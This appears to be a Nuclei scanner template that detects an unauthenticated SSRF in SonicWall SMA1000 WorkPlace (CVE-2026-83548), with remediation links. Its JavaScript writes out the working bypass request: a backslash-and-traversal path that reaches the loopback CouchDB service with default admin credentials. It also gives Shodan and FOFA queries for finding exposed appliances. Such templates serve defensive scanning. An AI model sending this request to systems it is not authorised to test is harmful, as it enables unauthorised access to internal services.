SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB

id: CVE-2026-83548

info:
  name: SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path.
  impact: |
    A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized operations.
  remediation: |
    Apply SonicWall platform hotfix 12.4.3-03526 (12.4.x) or 12.5.0-02952 (12.5.x) immediately.
  reference:
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0016
    - https://www.sonicwall.com/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW
    - https://software.sonicwall.com/PFORMSMAHOTFIX/Documentation/TechNotepform-hotfix-12.5.0-02952.txt
    - https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-83548
    epss-score: 0.08043
    epss-percentile: 0.94833
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: html:"WorkPlace" html:"sonicwall"
    fofa-query: body="WorkPlace" html:"sonicwall"
  tags: cve,cve2026,sonicwall,sma,sma1000,ssrf,rce,workplace,couchdb,vkev,kev

javascript:
  - code: |
      const c = require("nuclei/net");

      // Random path components bypass any caching or WAF pattern matching
      let r1 = Math.random().toString(16).substring(2, 10);
      let r2 = Math.random().toString(16).substring(2, 10);

      // Absolute-form URI with backslash: WorkPlace proxies this to loopback CouchDB:5984
      // The path traversal ../../_up reaches CouchDB's health endpoint
      let path = "http://127.0.0.1:5984/__EXTRAWEB__TRANSLATE/" + r1 + "\\" + r2 + "/../../_up";

      let request = "OPTIONS " + path + " HTTP/1.1\r\n" +
        "Host: " + Addr + "\r\n" +
        "Origin: https://" + Host + "\r\n" +
        "Access-Control-Request-Method: GET\r\n" +
        "Authorization: Basic YWRtaW46YWRtaW4=\r\n" +
        "Content-Type: application/json\r\n" +
        "Connection: close\r\n" +
        "\r\n";

      let statusCode = 0;
      let body = "";
      let serverHeader = "";

      try {
        let conn = c.OpenTLS("tcp", Addr);
        conn.Send(request);
        let response = conn.RecvFullString(8192);
        conn.Close();

        // Parse HTTP status code from response line
        let statusMatch = response.match(/HTTP\/\d+\.\d+\s+(\d+)/);
        if (statusMatch) {
          statusCode = parseInt(statusMatch[1]);
        }

        // Extract Server header
        let serverMatch = response.match(/[Ss]erver:\s*([^\r\n]+)/);
        if (serverMatch) {
          serverHeader = serverMatch[1].trim();
        }

        // Extract body (content after the blank line separating headers from body)
        let bodyStart = response.indexOf("\r\n\r\n");
        if (bodyStart > -1) {
          body = response.substring(bodyStart + 4).trim();
        }
      } catch(e) {
        body = "connection_error:" + e;
      }

      // Detection: CouchDB returns 405 method_not_allowed when OPTIONS hits a GET-only endpoint
      let isVulnerable = (statusCode === 405 && body.indexOf("method_not_allowed") > -1);

      if (isVulnerable) {
        Export("VULNERABLE CVE-2026-83548 status=" + statusCode + " server=" + serverHeader + " body=" + body);
      } else {
        Export("NOT_VULNERABLE status=" + statusCode + " server=" + serverHeader + " body=" + body.substring(0, 120));
      }

    args:
      Host: "{{Host}}"
      Port: 443
      Addr: "{{Hostname}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "VULNERABLE CVE-2026-83548"

      - type: word
        words:
          - "method_not_allowed"

      - type: dsl
        dsl:
          - "success == true"